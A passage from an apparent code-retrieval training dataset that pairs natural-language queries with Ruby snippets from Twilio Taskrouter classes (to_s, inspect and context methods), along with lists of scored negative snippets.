"0.55946636",
"0.559434",
"0.5588019",
"0.5580828",
"0.5531135",
"0.5522728",
"0.5513148",
"0.55019367",
"0.5499406",
"0.5489561",
"0.5488778",
"0.5483058",
"0.5479399",
"0.5478479",
"0.5475201",
"0.54685867",
"0.54632026",
"0.545045",
"0.54475075",
"0.5445433",
"0.54422045",
"0.5434516",
"0.5425238",
"0.5423668",
"0.5421546",
"0.54187554",
"0.54153496",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472",
"0.541472"
] |
0.7364325
|
2
|
Provide a user friendly representation
|
def to_s
'<Twilio.Taskrouter.V1.ReservationPage>'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Generate an instance context for the instance, the context is capable of performing various actions. All instance actions are proxied to the context
|
def context
unless @instance_context
@instance_context = ReservationContext.new(@version , @params['workspace_sid'], @params['worker_sid'], @params['sid'])
end
@instance_context
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def context\n unless @instance_context\n @instance_context = ApplicationContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = SimContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = InteractionContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = TriggerContext.new(@version, @params['account_sid'], @params['sid'],)\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CallContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CpsContext.new(@version, )\n end\n @instance_context\n end",
"def proxy_context\n @context\n end",
"def context\n unless @instance_context\n @instance_context = CallContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CallContext.new(@version, @params['account_sid'], @params['sid'],)\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CurrentCallContext.new(@version, )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = AnonymizeContext.new(@version , @params['room_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = DomainContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def contextify\n self.class.monadic_context.new self\n end",
"def context\n unless @instance_context\n @instance_context = SandboxContext.new(\n @version,\n @params['account_sid'],\n )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = TrunkContext.new(@version , @params['sip_trunk_domain'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CompositionHookContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version )\n end\n @instance_context\n end",
"def context\n init\n @context\n end",
"def context\n unless @instance_context\n @instance_context = InteractionChannelContext.new(\n @version,\n @params['interaction_sid'],\n @params['sid'],\n )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = UserInfoContext.new(@version )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = EngagementContextContext.new(@version , @params['flow_sid'], @params['engagement_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CampaignContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def initialize(*args, &block)\n super(*args)\n instance_exec(_context, &block)\n end",
"def context\n unless @instance_context\n @instance_context = EsimProfileContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def execution_context\n initialize_context!(Object.new)\n end",
"def context\n unless @instance_context\n @instance_context = BulkEligibilityContext.new(@version , @params['request_id'])\n end\n @instance_context\n end",
"def setup_context\n context_methods.each do |m|\n @context.add_method m, self\n end\n\n @context.define_klass\n end",
"def context\n unless @instance_context\n @instance_context = RecordingContext.new(@version , @params['trunk_sid'])\n end\n @instance_context\n end",
"def context\n Context.instance\n end",
"def context\n unless @instance_context\n @instance_context = CountryContext.new(@version , @params['iso_code'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CompositionContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def context_methods\n super + [:context]\n end",
"def context\n unless @instance_context\n @instance_context = TaskContext.new(@version , @params['workspace_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = TranscriptContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = AppManifestContext.new(@version , @params['app_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ChannelContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n @context ||= Context.new(self)\n end",
"def context\n unless @instance_context\n @instance_context = TaskContext.new(@version, @params['workspace_sid'], @params['sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = CallSummaryContext.new(@version , @params['call_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = NumberContext.new(@version, @params['destination_number'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = SummaryContext.new(\n @version,\n @params['call_sid'],\n )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = RatePlanContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"def context\n @context ||= new_context_mock(context_options, &finalize_proc)\n end",
"def context\n unless @instance_context\n @instance_context = OauthContext.new(@version )\n end\n @instance_context\n end",
"def context\n @context ||= Context.new(self)\n end",
"def context\n unless @instance_context\n @instance_context = DeactivationsContext.new(@version )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = SipDomainContext.new(@version , @params['sip_domain'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version , @params['phone_number'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version , @params['phone_number'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = MediaProcessorContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ChannelContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = IntentStatisticsContext.new(\n @version,\n @params['assistant_sid'],\n @params['intent_sid'],\n )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = DomainConfigContext.new(@version, @params['domain_sid'], )\n end\n @instance_context\n end",
"def context_methods; end",
"def call(*args)\n @ctx.instance_exec(args, &action)\n end",
"def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version , @params['chat_service_sid'])\n end\n @instance_context\n end",
"def initialize\n self.context = Context.new\n end",
"def context\n unless @instance_context\n @instance_context = InteractionChannelParticipantContext.new(@version , @params['interaction_sid'], @params['channel_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = WorkflowRealTimeStatisticsContext.new(@version , @params['workspace_sid'], @params['workflow_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = LinkshorteningMessagingServiceDomainAssociationContext.new(@version , @params['messaging_service_sid'])\n end\n @instance_context\n end",
"def context(klass, options={}, &blk)\n assoc = options.delete(:as) || self.name.demodulize.underscore\n assoc = assoc.to_sym\n\n nk = options[:name_key] ||= get_name_key\n\n self.hook_instance(\"change_#{nk}\") do |inst, old, new|\n inst.context.indices[assoc].update_membership(inst)\n end\n\n klass.index(assoc, options) do |name, target|\n inst = new(target, name)\n yield(inst, target) if block_given?\n inst\n end\n end",
"def context\n unless @instance_context\n @instance_context = ExportAssistantContext.new(@version, @params['assistant_sid'], )\n end\n @instance_context\n end",
"def method_missing(method_name, *args, &blk)\n @context.__send__(method_name, *args, &blk)\n end",
"def context\n unless @instance_context\n @instance_context = DialogueContext.new(@version , @params['assistant_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = RoomContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = TaskStatisticsContext.new(@version , @params['assistant_sid'], @params['task_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = WorkspaceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = WorkflowStatisticsContext.new(\n @version,\n @params['workspace_sid'],\n @params['workflow_sid'],\n )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = WorkflowRealTimeStatisticsContext.new(\n @version,\n @params['workspace_sid'],\n @params['workflow_sid'],\n )\n end\n @instance_context\n end",
"def method_missing(method, *args, &block)\n context.send(method, *args, &block)\n end",
"def method_missing(method, *args, &block)\n context.send(method, *args, &block)\n end",
"def initialize(context)\n super()\n self.context = context\n end",
"def context\n unless @instance_context\n @instance_context = DomainCertsContext.new(@version , @params['domain_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = SettingsContext.new(@version, )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = DomainCertsContext.new(@version, @params['domain_sid'], )\n end\n @instance_context\n end",
"def context\n @context ||= {}\n end",
"def context\n @context ||= {}\n end",
"def context\n unless @instance_context\n @instance_context = SecondaryAuthTokenContext.new(@version )\n end\n @instance_context\n end",
"def context\n return @target if @target.is_a?(Module) && !@options[:class_methods]\n\n @target.singleton_class\n end",
"def _prepare_context; end",
"def context\n unless @instance_context\n @instance_context = InsightsQuestionnairesContext.new(@version , @params['questionnaire_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = NotificationContext.new(@version, @params['chat_service_sid'], )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = FeedbackSummaryContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = FeedbackSummaryContext.new(@version, @params['account_sid'], @params['sid'],)\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = ParticipantContext.new(@version , @params['account_sid'], @params['conference_sid'], @params['call_sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = UserDefinedMessageSubscriptionContext.new(@version , @params['account_sid'], @params['call_sid'], @params['sid'])\n end\n @instance_context\n end",
"def context\n unless @instance_context\n @instance_context = NotificationContext.new(@version , @params['chat_service_sid'])\n end\n @instance_context\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end"
] |
[
"0.6837938",
"0.6802996",
"0.67975914",
"0.67719287",
"0.6769035",
"0.6769035",
"0.6731887",
"0.6682339",
"0.66800934",
"0.667849",
"0.6676959",
"0.6640555",
"0.6627805",
"0.6610363",
"0.66007906",
"0.6591611",
"0.65719724",
"0.6567965",
"0.6560346",
"0.6556549",
"0.65504354",
"0.65467936",
"0.6505098",
"0.64960384",
"0.6490497",
"0.6463809",
"0.64479196",
"0.64096636",
"0.64048433",
"0.6367448",
"0.63511044",
"0.6318969",
"0.6312987",
"0.62996083",
"0.62756634",
"0.62690616",
"0.62594944",
"0.6258845",
"0.62583005",
"0.62353694",
"0.62159646",
"0.62148947",
"0.6212226",
"0.61959726",
"0.61928916",
"0.61915797",
"0.6187134",
"0.6169107",
"0.61671203",
"0.6160356",
"0.61602634",
"0.61587167",
"0.6146855",
"0.61389357",
"0.6132671",
"0.61275786",
"0.61272115",
"0.6122651",
"0.611177",
"0.608335",
"0.6078005",
"0.6055316",
"0.60408247",
"0.6039193",
"0.6034626",
"0.6017259",
"0.60114723",
"0.6011369",
"0.6010924",
"0.6010442",
"0.5978524",
"0.59770596",
"0.59770596",
"0.59664905",
"0.595365",
"0.5948195",
"0.5940558",
"0.5930731",
"0.5930731",
"0.59006816",
"0.59002036",
"0.5890039",
"0.5883387",
"0.58807814",
"0.58673996",
"0.584911",
"0.5830552",
"0.58269113",
"0.58204275",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983",
"0.5816983"
] |
0.63312715
|
31
|
Provide a user friendly representation
|
def to_s
values = @params.map{|k, v| "#{k}: #{v}"}.join(" ")
"<Twilio.Taskrouter.V1.ReservationInstance #{values}>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Provide a detailed, user friendly representation
|
def inspect
values = @properties.map{|k, v| "#{k}: #{v}"}.join(" ")
"<Twilio.Taskrouter.V1.ReservationInstance #{values}>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def details; end",
"def to_s; description end",
"def get_detail\n return self.inspect\n end",
"def to_display\n raise NotImplementedError\n end",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def inspect\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end",
"def render\n inspect\n end",
"def overview\n\n end",
"def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end",
"def render_plain\n short_category(object.action) << \"\\n\" << instance_attributes\n end",
"def details\n\n return @description + \": \" + \"#{@infection}\" + \". \" + @patient.details\n\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def to_s\n descr\n end",
"def details\r\n return @description + \"; \" + @vPatients + \"; \" + @vProfiles + \": \" + @vAppointments\r\n end",
"def display\n to_h.fetch(:display)\n end",
"def display\n to_h.fetch(:display)\n end",
"def inspect_details\n\t\treturn \"ID=%s (%s)\" % [\n\t\t\tself.id,\n\t\t\tself.components.keys.map( &:name ).sort.join( '+' )\n\t\t]\n\tend",
"def to_s\n\t\tres = \"\\nname: \" + name.to_s + \"\\nid: \" + id.to_s + \"\\nservice: \" + service.to_s + \"\\ntitle: \" + title.to_s + \"\\nthumbnail: \" + thumbnail.to_s + \"\\nhref: \" + href.to_s\n\t\tres\n\tend",
"def details\n\t\t\"#{name}---#{status}-----#{start_date}----#{description}---- #{Client.find(client_id).name}---#{Client.find(client_id).email}\"\n\tend",
"def show\n @title = @user.complete_name\n @description = \"Informations relatives à #{@user.complete_name}\"\n @jsonld = @user.to_jsonld\n end",
"def details\n end",
"def to_s\n \"#{represent_status} : #{description}\"\n end",
"def details\n format_description(@description) + \"site name: \" + format_name\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s_details\n ''\n end",
"def details\n\n end",
"def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def show\n\t\t@attrib_keys = [\"desc\", \"higher_level\", \"range\", \"components\", \"material\", \"ritual\", \"duration\", \"concentration\", \"casting_time\", \"level\", \"school\", \"class_names\", \"archetype\", \"domains\", \"oaths\", \"circles\", \"patrons\"]\n\tend",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def inspect_details\n ''\n end",
"def inspect\n \"#<#{self.class} ##{id} #{name} (#{slug})>\"\n end",
